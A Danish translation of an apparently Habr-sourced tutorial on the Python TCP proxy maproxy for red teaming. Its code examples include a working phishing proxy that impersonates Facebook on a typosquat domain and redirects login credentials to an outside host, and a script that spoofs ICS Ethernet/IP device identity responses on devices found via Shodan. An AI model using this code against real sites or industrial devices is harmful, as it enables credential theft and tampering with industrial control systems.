Oversættelsen af artiklen er udarbejdet forud for begyndelsen af kurset .

Resumé
Forskellige typer sikkerhedsvurdering, fra regelmæssig penetrationstest og Red Team operationer til hacking af IoT/ICS-enheder og SCADA, involverer arbejde med binære netværksprotokoller, hvilket i praksis betyder, at man opfanger og modificerer netværksdata mellem klienten og målet. At sniffle netværkstrafik er ikke en svær opgave, da vi har værktøjer som Wireshark, Tcpdump eller Scapy, men modifikation synes at være en mere tidskrævende opgave, da vi skal have en slags grænseflade til at læse netværksdata, filtrere dem, ændre dem on-the-fly og sende dem tilbage til det målrettede vært næsten i realtid. Desuden ville det være ideelt, hvis et sådant værktøj kunne arbejde automatisk med flere parallelle forbindelser og have en tilpasningsmulighed via scripts.
En gang opdagede jeg et værktøj, der hedder , dokumentationen gjorde hurtigt klart for mig, at maproxy – lige hvad jeg havde brug for. Det er en ret enkel, alsidig og let konfigurerbar TCP-proxy. Jeg testede dette værktøj på flere ret komplekse applikationer, inklusive ICS-enheder (som genererer mange pakker), for at finde ud af, om det kunne håndtere mange parallelle forbindelser, og værktøjet klarede sig godt.
Denne artikel vil introducere dig til behandling af netværksdata on-the-fly ved hjælp af maproxy.
Oversigt
Værktøj maproxy baseret på Tornado – et populært og veludviklet asynkront netværksframework i Python.
Generelt kan det arbejde i flere tilstande:
TCP:TCP– ukrypterede TCP-forbindelser;TCP:SSLogSSL:TCP– med ensrettet kryptering;SSL:SSL– tovejs kryptering.
Det leveres som et bibliotek. For hurtig opstart kan du bruge eksempelstederne, der dækker de grundlæggende :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Case 1 – simpel tovejs proxy
Baseret på tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() By default ProxyServer() modtager to argumenter – tilslutningssted og målport. server.listen() modtager et argument – porten til at lytte efter indkommende forbindelser.
Udførelse af script:
# python tcp2tcp.py For at udføre testen planlægger vi at tilslutte os en lokal SSH-server via vores proxy-script, som lytter på 2222/tcp porten og tilsluttes til standardporten 22/tcp SSH-servere:

Velkomstbanneret angiver, at vores eksempel script har været i stand til at proxye netværkstrafik.
Case 2 – datamodifikation
Et andet demo-script logging_proxy.py er ideelt til interaktion med netværksdata. Kommentarerne i filen beskriver klassens metoder, som du kan ændre for at nå dit mål:

Det mest interessante her:
on_c2p_done_read– til at opsnappe data på vejen fra klienten til serveren;on_p2s_done_read– i den modsatte retning.
Lad os prøve at ændre SSH-banneren, som serveren returnerer til klienten:
[…] def on_p2s_done_read(self,data): data = data.replace("OpenSSH", "DumnySSH") super(LoggingSession,self).on_p2s_done_read(data) [… ] server = maproxy.proxyserver.ProxyServer("localhost",22) server.listen(2222) […]Udfør scriptet:

Som du kan se, blev klienten vildledt, da SSH-serverens navn for ham blev ændret til «DumnySSH».

Case 3 – simpel phishing-webside
Der er uendelige muligheder for at bruge dette værktøj. Denne gang lad os fokusere på noget mere praktisk fra Red Team-operationer. Lad os efterligne landing-siden m.facebook.com og bruge et tilpasset domæne med en bevidst skrivefejl, som f.eks. m.facebok.com. For demonstrationsformål, lad os antage, at domænet er registreret af os.
Vi planlægger at etablere en ukrypteret netværksforbindelse med vores offers proxy og SSL Stream til Facebook-serveren (31.13.81.36). For at dette eksempel kan fungere, skal vi ændre HTTP-værtens header og implementere det korrekte værtsnavn, og vi vil også deaktivere komprimering af svar for lettere adgang til indholdet. Til sidst vil vi ændre HTML-formularen, så loginoplysninger sendes til os i stedet for til Facebook-serverne:
[…] def on_c2p_done_read(self,data): # erstat Host-headeren data = data.replace("Host: m.facebok.com", "Host: m.facebook.com") # deaktivere kompression data = data.replace("gzip", "identity;q=0") data = data.replace("deflate", "") super(LoggingSession,self).on_c2p_done_read(data) […] def on_p2s_done_read(self,data): # delvis erstatning af svar data = data.replace("action="/login/", "action="https://redteam.pl/") super(LoggingSession,self).on_p2s_done_read(data) […] server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True) server.listen(80) […]I sidste ende:

Som du kan se, har vi med succes kunnet ændre den originale hjemmeside.
Case 4 – Vi manipulerer Ethernet/IP
Jeg har i lang tid arbejdet med industrielle enheder og software (ICS / SCADA), såsom programmerbare controllere (PLC), ind- og udgangsmoduler, drivere, relæer, ladder logiske programmeringssprog og meget mere. Denne case er til dem, der kan lide industrielle ting. Hacking af sådanne løsninger indebærer aktiv interaktion med netværksprotokoller. I det følgende eksempel vil jeg vise, hvordan du kan modificere netværkstrafikken for ICS/SCADA.
Du skal bruge følgende:
- Et netværkssniffer, såsom Wireshark;
- Ethernet/IP eller blot en SIP-enhed, som du kan finde ved hjælp af Shodan;
- Vores script er baseret på
maproxy.
Lad os starte med at se, hvordan en typisk identifikationsresponse fra CIP (Common Industrial Protocol) ser ud:

Identifikation af enheden udføres ved hjælp af Ethernet/IP-protokollen, der er en udvidet version af Ethernet-protokollen til industrielle formål, som omslutter kontrolprotokoller som CIP. Vi vil ændre det udpegede identifikationsnavn, som er synligt på skærmbilledet «NI-IndComm for Ethernet» ved hjælp af vores proxy-script. Vi kunne genbruge scriptet logging_proxy.py og på lignende måde modificere klassens metode on_p2s_done_read, da vi ønsker, at der skal vises et andet identifikationsnavn på klienten.
Kode:
[…]
def on_p2s_done_read(self, data):
# delvis erstatning af respons
# Kontrollerer, om vi har fået List Identity meddelelsesrespons
if data[26:28] == b'x0cx00':
print('Fik svar, erstatter')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession, self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7", 44818, session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
I bund og grund bad vi om enhedsidentifikation to gange; det andet svar er det originale, mens det første blev modificeret i realtid.
Og det sidste
Efter min mening maproxy er det et praktisk og enkelt værktøj, som desuden er skrevet i Python, så jeg mener, at du også kan få fordel af at bruge det. Selvfølgelig findes der mere komplekse værktøjer til at behandle og ændre netværksdata, men de kræver også mere opmærksomhed og bliver ofte udviklet til specifikke anvendelsesscenarier, såsom , eller til tilfælde som det tredje, eller til det sidste tilfælde. Uanset hvad, med hjælp fra maproxy vil du hurtigt kunne realisere dine ideer om at opsnappe netværksdata, da eksemplerne på scripts er meget illustrative.
Kilde: habr.com
